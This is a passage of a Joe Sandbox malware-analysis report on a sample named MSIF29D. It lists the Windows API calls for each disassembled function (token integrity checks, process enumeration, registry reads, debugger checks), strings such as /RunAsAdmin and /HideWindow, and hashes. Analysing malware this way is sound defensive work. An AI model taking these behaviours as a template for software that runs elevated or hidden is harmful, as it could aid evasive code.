Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: AllocCommandCreateExitFileLineLocalProcess
String ID: Full command line:
API String ID: 1878577176-831861440
Opcode ID: b6123362dc3cfe18e4de9b23d50709032c6fed80fdfb2eea7856cab8f780039d
Instruction ID: b01c99aca30f8cf3f86cdbe437e9866b4f48d6b10e92835e984adf40b314e5bc
Opcode Fuzzy Hash: b6123362dc3cfe18e4de9b23d50709032c6fed80fdfb2eea7856cab8f780039d
Instruction Fuzzy Hash: DE21BF71910214EBCB15FB61CC55BEF73A5AF44750F144118F406AB292EF3CAA08EBE1

Function 00FB5E40 Relevance: 4.6, APIs: 3, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00FB5E18,8F6E4A30,?), ref: 00FB5EB4
GetLastError.KERNEL32(?,TokenIntegrityLevel,00000000,00000000,00FB5E18,8F6E4A30,?), ref: 00FB5EBE
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000000,00000000,?,TokenIntegrityLevel,00000000,00000000,00FB5E18,8F6E4A30,?), ref: 00FB5F1A

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: InformationToken$ErrorLast
String ID:
API String ID: 2567405617-0
Opcode ID: cc9c102c4ddbcecdad391a2c5cf84a9ff42c24bdea911e02a9ee3e9983cff901
Instruction ID: 93f3fa90ebc3971281a7e50708c062242b6d28cbb7a5af5e6dd166ed79be84ce
Opcode Fuzzy Hash: cc9c102c4ddbcecdad391a2c5cf84a9ff42c24bdea911e02a9ee3e9983cff901
Instruction Fuzzy Hash: 1C317C71A00609ABD720DF59CC45BBFFBB9FF44B10F10452AE515A7280DBB9A9049B90

Function 00FE70BB Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,00FE596A,00000001,00000364,?,00000006,000000FF,?,00FD6CE7,00000000,00FE3841,00000000), ref: 00FE70FC

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 157c99e74b74d856403dfd5c65e554d8e50a7bb7199e60364354565ae25df0dd
Instruction ID: 503e148b1764feed1e48f8ed3b9325e197fd0dbb2abb97e9a14908276426d51b
Opcode Fuzzy Hash: 157c99e74b74d856403dfd5c65e554d8e50a7bb7199e60364354565ae25df0dd
Instruction Fuzzy Hash: 18F0E932A0C3A46B9B327B239C01B5B774EAF417B0B144021FE14EA190CF64EC00B6E1

Function 00FB5940 Relevance: 1.3, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE(?,8F6E4A30,00000000,?,?,?), ref: 00FB5982

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a1d302253fd5171f0e462956b4ee43adc944ffc7271d4acdf0029142083b49cf
Instruction ID: c2a56da8dc8059ca2f2135e079b021af3f1088580f2527fabb3d7a1e18967d61
Opcode Fuzzy Hash: a1d302253fd5171f0e462956b4ee43adc944ffc7271d4acdf0029142083b49cf
Instruction Fuzzy Hash: A0F0C271A04648EFC710CF59D944B96FBF8EB05B70F1043AAF910C7690D7369800CB90

Non-executed Functions

Function 00FB4BA0 Relevance: 33.5, APIs: 22, Instructions: 502comCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB57C0: GetCurrentProcess.KERNEL32(00000008,?,8F6E4A30,?,-00000010), ref: 00FB57D0
Part of subcall function 00FB57C0: OpenProcessToken.ADVAPI32(00000000), ref: 00FB57D7

CoInitialize.OLE32(00000000), ref: 00FB4C15
CoCreateInstance.OLE32(00FF72B0,00000000,00000004,01005104,00000000,?), ref: 00FB4C45
CoUninitialize.OLE32 ref: 00FB5187
_com_issue_error.COMSUPP ref: 00FB51B5

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Process$CreateCurrentInitializeInstanceOpenTokenUninitialize_com_issue_error
String ID:
API String ID: 928366108-0
Opcode ID: b6f16c7f9e3278367dba8f652b0355a48883a8a7873e55e51f1c35333bc2a836
Instruction ID: 17bb84dd7a465bd037f5c4a80ed794f08b4a44802e55c9bbe6820dcae12a9229
Opcode Fuzzy Hash: b6f16c7f9e3278367dba8f652b0355a48883a8a7873e55e51f1c35333bc2a836
Instruction Fuzzy Hash: D022CD70E04388DFEB11DFA9C948BEDBBB8AF45304F248199E404EB281D7799A45DF61

Function 00FBC870 Relevance: 14.4, APIs: 2, Strings: 6, Instructions: 366registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 00FBCBB6
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,0100E6D0,00000800), ref: 00FBCBD3

Strings

/DontWait , xrefs: 00FBC8D8, 00FBC8EE, 00FBC8F3
/LogFile, xrefs: 00FBCA07
/EnforcedRunAsAdmin , xrefs: 00FBC893, 00FBC8A3, 00FBC8A8
/DIR , xrefs: 00FBC9F3
/HideWindow, xrefs: 00FBC98E, 00FBC9AC, 00FBC9B1
/RunAsAdmin , xrefs: 00FBC92B, 00FBC94C, 00FBC951

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: OpenQueryValue
String ID: /DIR $/DontWait $/EnforcedRunAsAdmin $/HideWindow$/LogFile$/RunAsAdmin
API String ID: 4153817207-482544602
Opcode ID: f47a6d150a01730339d616b6ee2260b9c4e16131d49cb2b4865f6b1aeb2c022e
Instruction ID: afb660e374583c41335fbb10bffc4f59ff4c8980279ac77c3749b31c293da32c
Opcode Fuzzy Hash: f47a6d150a01730339d616b6ee2260b9c4e16131d49cb2b4865f6b1aeb2c022e
Instruction Fuzzy Hash: 3BC13475E042168ADB35AF16C8112FBB7A1FF90760F58845AE889DB294E731CD81EFD0

Function 00FEDE24 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FE57CC: GetLastError.KERNEL32(?,00000008,00FEAD4C), ref: 00FE57D0
Part of subcall function 00FE57CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00FE5872

GetACP.KERNEL32(?,?,?,?,?,?,00FE42D9,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00FEDEE5
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00FE42D9,?,?,?,00000055,?,-00000050,?,?), ref: 00FEDF10
_wcschr.LIBVCRUNTIME ref: 00FEDFA4
_wcschr.LIBVCRUNTIME ref: 00FEDFB2
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00FEE073

Strings

utf8, xrefs: 00FEDFE2

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: a45429bf267aaeef427e63634c436b3d1f9a75c837501839d566d76b82c1a421
Instruction ID: e064b55fba93eaeff5e444ff74ad97cc2f0f37b0cd04dec301174fd219be8d4b
Opcode Fuzzy Hash: a45429bf267aaeef427e63634c436b3d1f9a75c837501839d566d76b82c1a421
Instruction Fuzzy Hash: 83712872A00386AADB24AB36DC46BB773A9EF14710F14442AF605DB581FBB4DD40F7A1

Function 00FB3860 Relevance: 10.7, APIs: 7, Instructions: 227processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,8F6E4A30,?), ref: 00FB38CB
CloseHandle.KERNEL32(00000000), ref: 00FB390B
Process32FirstW.KERNEL32(?,00000000), ref: 00FB395F
OpenProcess.KERNEL32(00000410,00000000,?), ref: 00FB397A
CloseHandle.KERNEL32(00000000), ref: 00FB3A8E
Process32NextW.KERNEL32(?,00000000), ref: 00FB3AA2
CloseHandle.KERNEL32(?), ref: 00FB3AF0

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: CloseHandle$Process32$CreateFirstNextOpenProcessSnapshotToolhelp32
String ID:
API String ID: 708755948-0
Opcode ID: 475821b5abf94bafefe3c90f73e06f55cd7cbd5858733f9572c5e86dfce23164
Instruction ID: 21cf8d5d330484575798779ef6146d2dd1c8cca422d9658d6e5747c224d8f082
Opcode Fuzzy Hash: 475821b5abf94bafefe3c90f73e06f55cd7cbd5858733f9572c5e86dfce23164
Instruction Fuzzy Hash: FFA108B5D01249DFDB10DFA9D988BEEBBF8BF48314F248159E805AB280D7745A44DFA0

Function 00FEF032 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00FEF216

Strings

1#INF, xrefs: 00FEF168
1#IND, xrefs: 00FEF137
1#SNAN, xrefs: 00FEF13E
1#QNAN, xrefs: 00FEF145

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d2d9fe452b112201b4a5d4754c537b0bd0abd96733f6da60437662d0fc7ada12
Instruction ID: 879db61ab90a7affad51aa23b8baeaf8438f67412182224e02f87c204af4ecba
Opcode Fuzzy Hash: d2d9fe452b112201b4a5d4754c537b0bd0abd96733f6da60437662d0fc7ada12
Instruction Fuzzy Hash: AAD25872E082688FDB65CF29CD407EAB7B5EB44314F1441EAD90DE7241EB78AE859F40

Function 00FEE5B3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00FEE8D1,00000002,00000000,?,?,?,00FEE8D1,?,00000000), ref: 00FEE64C
GetLocaleInfoW.KERNEL32(?,20001004,00FEE8D1,00000002,00000000,?,?,?,00FEE8D1,?,00000000), ref: 00FEE675
GetACP.KERNEL32(?,?,00FEE8D1,?,00000000), ref: 00FEE68A

Strings

OCP, xrefs: 00FEE607
ACP, xrefs: 00FEE5D1

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 8024f0f72dabb7e6fbc3679a05922bd30924394c01fe0859ebcecb5cace217af
Instruction ID: b0d5fa9613e4d1d5b4c2ec19328f93323b43961a608afb78bfa8a242802f8a45
Opcode Fuzzy Hash: 8024f0f72dabb7e6fbc3679a05922bd30924394c01fe0859ebcecb5cace217af
Instruction Fuzzy Hash: 6D21C432E20285A6DB308F16E900BA773A6AF74B74B568424E90AD7114E732DD40E750

Function 00FB9CC0 Relevance: 7.9, APIs: 5, Instructions: 441COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00FB9E60
LocalFree.KERNEL32(00000000), ref: 00FB9EB7
_swprintf.LIBCMT ref: 00FBA0A0
LocalFree.KERNEL32(00000000), ref: 00FBA0F7
_swprintf.LIBCMT ref: 00FBA183

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: _swprintf$FreeLocal
String ID:
API String ID: 2429749586-0
Opcode ID: a00c8d408868e32c3298757a6b7ef591b14ce93fd34a58807442b2df4f0bd0ab
Instruction ID: 99fe22fa9f5bf0e41ea24b631354686c3cb96877d24e139db6b4e4e2825f6ec2
Opcode Fuzzy Hash: a00c8d408868e32c3298757a6b7ef591b14ce93fd34a58807442b2df4f0bd0ab
Instruction Fuzzy Hash: 83F19A71D04219ABDB19DFA9DC40BEEBBB5FF08310F144229F911AB280D779A941DFA1

Function 00FEE788 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FE57CC: GetLastError.KERNEL32(?,00000008,00FEAD4C), ref: 00FE57D0
Part of subcall function 00FE57CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00FE5872

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00FEE894
IsValidCodePage.KERNEL32(00000000), ref: 00FEE8DD
IsValidLocale.KERNEL32(?,00000001), ref: 00FEE8EC
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00FEE934
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00FEE953

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: c4ac0bad761eef0825e26a6ad484315c7cab22f57261335d8e11f56dc66961d2
Instruction ID: 9e70755a4146d494a9abe0638e6b8021dd5ca3335e61020cb0f7881f51984b9b
Opcode Fuzzy Hash: c4ac0bad761eef0825e26a6ad484315c7cab22f57261335d8e11f56dc66961d2
Instruction Fuzzy Hash: 83519371E00259AFEB20EFA6EC45ABE73B8FF48710F184065E914E7190D774DA04EB61

Function 00FE5D6D Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00FE5DFA

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c088d6f79354faf8b1bce494a29b4de1bf964f76c3977490bbe1990304a04063
Instruction ID: 4aecfaea1b6185569502e258352af61640a5ff21b0b50b604f236514faa1abf4
Opcode Fuzzy Hash: c088d6f79354faf8b1bce494a29b4de1bf964f76c3977490bbe1990304a04063
Instruction Fuzzy Hash: 30B15772D046D59FDB258F69C881BFEBBA5EF58358F14816AE900EB341D234DD01EBA0

Function 00FD33A8 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00FD33B4
IsDebuggerPresent.KERNEL32 ref: 00FD3480
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00FD34A0
UnhandledExceptionFilter.KERNEL32(?), ref: 00FD34AA

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 493d87c015f04549534215ee96fb9a9919f8cc55fa74c89b18f99e225f24064a
Instruction ID: f9ff253ec0957cfbcff8006508c727a6d27805c530e2dea410d3c47249923f37
Opcode Fuzzy Hash: 493d87c015f04549534215ee96fb9a9919f8cc55fa74c89b18f99e225f24064a
Instruction Fuzzy Hash: 1A313675D0531C9BDB10EFA0D989BCCBBB8AF08304F1040AAE50CAB250EB759B89DF45

Function 00FBD0A5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00FBC630: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,8F6E4A30,?,00FF3D30,000000FF), ref: 00FBC657
Part of subcall function 00FBC630: GetLastError.KERNEL32(?,00000000,00000000,8F6E4A30,?,00FF3D30,000000FF), ref: 00FBC661

IsDebuggerPresent.KERNEL32(?,?,01008AF0), ref: 00FBD0D8
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,01008AF0), ref: 00FBD0E7

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00FBD0E2

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: 0d0fb0d4dbae85c9cb1db704767dcb0804573598773bdfda28a8afa6ad2c488e
Instruction ID: 90f46b43f7f2f51dbd34147358d14720f8289d6d1e57f60a66b20a6340ab906b
Opcode Fuzzy Hash: 0d0fb0d4dbae85c9cb1db704767dcb0804573598773bdfda28a8afa6ad2c488e
Instruction Fuzzy Hash: F9E092706087418FD330BF2AE804793BBE4AF04394F00885CE49AD2295FBB5D449EFA2

Function 00FEE237 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00FE57CC: GetLastError.KERNEL32(?,00000008,00FEAD4C), ref: 00FE57D0
Part of subcall function 00FE57CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00FE5872

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FEE28B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FEE2D5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FEE39B

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: bf573f06beb65ac950ae1607e09f57a778cfd9cecddd307fd52914c4d20c898b
Instruction ID: 6e7fce877a54fd8bc4612048ce5249c93cbdd55e55d177209a70767a7f3c0020
Opcode Fuzzy Hash: bf573f06beb65ac950ae1607e09f57a778cfd9cecddd307fd52914c4d20c898b
Instruction Fuzzy Hash: 43619F719002479FEB28DF26EC82BBA77A9EF08310F14417AE905C7285E778D994EB50

Function 00FD6E1B Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00FD6F13
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00FD6F1D
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00FD6F2A

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 380cde2fea34aa60cd789d87380324ab3b9233855ea9ec1a111136d640b4feb1
Instruction ID: 436a4af1dcef2da2643c13756284bd675ac8fde6ed408a13601e424ea310296e
Opcode Fuzzy Hash: 380cde2fea34aa60cd789d87380324ab3b9233855ea9ec1a111136d640b4feb1
Instruction Fuzzy Hash: E831D27490122CABCB21EF64DD8879DBBB9BF08310F5441EAE51CA7250E734AB85DF45

Function 00FB45B0 Relevance: 4.6, APIs: 3, Instructions: 64COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(00000000,00000000,8F6E4A30,00000001,00000000,?,00000000,00FF4460,000000FF,?,00FB474D,00FB3778,?,00000000,00000000,?), ref: 00FB45DB
LockResource.KERNEL32(00000000,?,00000000,00FF4460,000000FF,?,00FB474D,00FB3778,?,00000000,00000000,?,?,?,?,00FB3778), ref: 00FB45E6
SizeofResource.KERNEL32(00000000,00000000,?,00000000,00FF4460,000000FF,?,00FB474D,00FB3778,?,00000000,00000000,?,?,?), ref: 00FB45F4

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Resource$LoadLockSizeof
String ID:
API String ID: 2853612939-0
Opcode ID: b2920cc1b631e7ef2dbecc5dc6a9e565232302e6bcb904f3271462a4f470e9fa
Instruction ID: 112da3c15f499e8f66851b9a6e4a3f53cf489d53c22add597bb6dc14f17eaaa8
